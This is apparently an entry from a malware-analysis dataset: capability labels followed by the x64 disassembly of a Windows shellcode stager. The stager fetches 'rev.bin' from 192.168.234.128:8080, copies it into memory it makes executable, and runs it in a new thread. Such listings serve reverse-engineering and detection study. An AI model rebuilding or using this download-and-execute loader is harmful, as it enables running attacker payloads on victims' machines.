Function at 0x140001070
Capabilities:
Connect socket
Create thread
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x1360]
mov eax, 0x1460
call fcn.1400021e0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1350], rax
xor esi, esi
mov qword [rsp + 0x20], 0xffffffffffffffff
lea r9, str.192.168.234.128
mov qword [rbp - 0x78], rsi
lea rdx, [rbp + 0x280]
lea rcx, [rbp - 0x78]
lea r8d, [rsi + 0x10]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_mbstowcs_s]
xor edx, edx
mov qword [rsp + 0x60], rsi
mov r8d, 0x103
mov byte [rbp + 0x170], sil
lea rcx, [rbp + 0x171]
lea rdi, [rsi - 1]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.GET__
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.rev.bin
lea rcx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
lea rcx, [rbp + 0x350]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
lea rdx, [rbp - 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001152
mov edx, eax
lea rcx, str.WSAStartup_failed_with_error:__d_n
call fcn.140001010
jmp 0x140001491
xorps xmm0, xmm0
mov dword [rbp - 0x68], esi
xorps xmm1, xmm1
mov dword [rbp - 0x64], 2
lea r9, [rsp + 0x60]
mov dword [rbp - 0x60], 1
lea r8, [rbp - 0x68]
mov dword [rbp - 0x5c], 6
lea rdx, str.8080
lea rcx, str.192.168.234.128
movdqu xmmword [rbp - 0x58], xmm0
movdqu xmmword [rbp - 0x48], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x1400011b4
mov edx, eax
lea rcx, str.getaddrinfo_failed_with_error:__d_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x140001491
mov qword [rsp + 0x1470], rbx
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x140001250
nop word [rax + rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140001270
lea r8, str.8080
lea rdx, str.192.168.234.128
lea rcx, str.___Connect_to__s:_s
call fcn.140001010
mov r8d, dword [rbx + 0x10]
mov rcx, rdi
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000124b
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
test rbx, rbx
jne 0x1400011d0
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001010
jmp 0x140001483
mov rbx, qword [rsp + 0x60]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp rdi, 0xffffffffffffffff
jne 0x140001289
lea rcx, str.Unable_to_connect_to_server__n
call fcn.140001010
jmp 0x140001483
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket_failed_with_error:__ld_n
call fcn.140001010
jmp 0x140001483
lea rax, [rbp + 0x170]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x140001297
xor r9d, r9d
lea rdx, [rbp + 0x170]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400012d1
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.send_failed_with_error:__d_n
call fcn.140001010
jmp 0x14000147a
mov edx, eax
lea rcx, str._n___Sent__ld_Bytes_n
call fcn.140001010
mov edx, 1
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_shutdown]
cmp eax, 0xffffffff
jne 0x140001310
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.shutdown_failed_with_error:__d_n
call fcn.140001010
jmp 0x14000147a
xor r9d, r9d
lea rdx, [rbp + 0x350]
mov r8d, 0x1000
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
mov ebx, eax
test eax, eax
jle 0x14000133a
mov edx, eax
lea rcx, str.___Received__d_Bytes_n
jmp 0x14000135b
test ebx, ebx
jne 0x14000134c
lea rcx, str.___Connection_closed_n
call fcn.140001010
jmp 0x140001360
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.recv_failed_with_error:__d_n
call fcn.140001010
xor r8d, r8d
mov dword [rsp + 0x28], 4
lea r9, [rbp - 0x80]
mov qword [rsp + 0x68], rsi
lea rdx, [rsp + 0x68]
mov qword [rbp - 0x80], 0x2000
mov dword [rsp + 0x20], 0x3000
lea rcx, [r8 - 1]
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x140001472
mov rcx, qword [rsp + 0x68]
lea rdx, [rbp + 0x350]
mov r8d, 0x1000
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsp + 0x78]
mov dword [rsp + 0x78], esi
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x80]
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x68]
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x140001472
mov rax, qword [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rsi
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rsi
xor r8d, r8d
mov qword [rsp + 0x40], rsi
mov edx, 0x1fffff
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x70], 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
jns 0x140001441
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
jmp 0x14000146b
mov rcx, qword [rsp + 0x70]
lea r8, [rbp - 0x70]
xor edx, edx
mov qword [rbp - 0x70], 0xffffffffff676980
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x140001472
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
mov edx, eax
call fcn.140001010
test ebx, ebx
jg 0x140001310
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rbx, qword [rsp + 0x1470]
mov rcx, qword [rbp + 0x1350]
xor rcx, rsp
call fcn.1400014e0
lea r11, [rsp + 0x1460]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret